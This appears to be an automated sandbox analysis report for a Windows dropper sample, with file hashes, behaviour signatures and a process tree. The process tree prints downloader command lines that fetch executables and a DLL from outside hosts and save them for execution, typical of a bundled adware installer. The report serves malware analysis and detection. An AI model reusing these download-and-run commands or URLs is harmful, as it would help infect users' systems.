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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/10/2024, 03:05

General

  • Target

    15ea6c6dc1dd0eaf524944dd5ce7b966_JaffaCakes118.exe

  • Size

    337KB

  • MD5

    15ea6c6dc1dd0eaf524944dd5ce7b966

  • SHA1

    f98e17e2f3c05fa484c368a847f4e6ac0b9224d6

  • SHA256

    bb1d0b2a47e39ebaac0dd4c5bb1714e2137f0dce412edd2e630e9e74dcd71106

  • SHA512

    9a9fcb0a804a9c87753433fbf3cd40610eec654b0958e5615a9be432170a5258f50a651b272c817924e587911ce98df1bd78ca9ae781be6405690a30ea66c9ca

  • SSDEEP

    6144:gc63Az3Bt1GaED7mFo4D9pN0oXQgfU41ymtTaN557TQurTONoR9kmHDvSaXXg4:+GRt2qF9f0eFvTaFTQu/v9kmjLXw

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 11 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\15ea6c6dc1dd0eaf524944dd5ce7b966_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\15ea6c6dc1dd0eaf524944dd5ce7b966_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2700
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1512
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4996
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:404
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\volcano.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2200
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\pricepeep.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1568
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe 0 "parasempredubladormv" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2852
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe 4 "parasempredubladormv" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3224
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1552
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe 1 "parasempredubladormv"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1132
    • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe 3 "parasempredubladormv"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:692

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\751d43f88cf249d5ccd5159b0a7e350c\preinstaller.exe

    Filesize

    241KB

    MD5

    9d8fe8bcc4c493b2fd1da8d2b07ba57c

    SHA1

    aa9366eb9210c8a5398b5e55921c92ce8970df5b

    SHA256

    f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb

    SHA512

    3fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216

  • C:\Users\Admin\AppData\Local\Temp\nshD7A4.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • C:\Users\Admin\AppData\Local\Temp\nsq1F7C.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • memory/692-966-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/692-1820-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/692-1247-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/692-393-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/692-686-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/1132-61-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2852-51-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB

  • memory/2908-112-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/2908-1243-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/2908-53-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/2908-3217-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/3224-54-0x0000000000400000-0x0000000000446000-memory.dmp

    Filesize

    280KB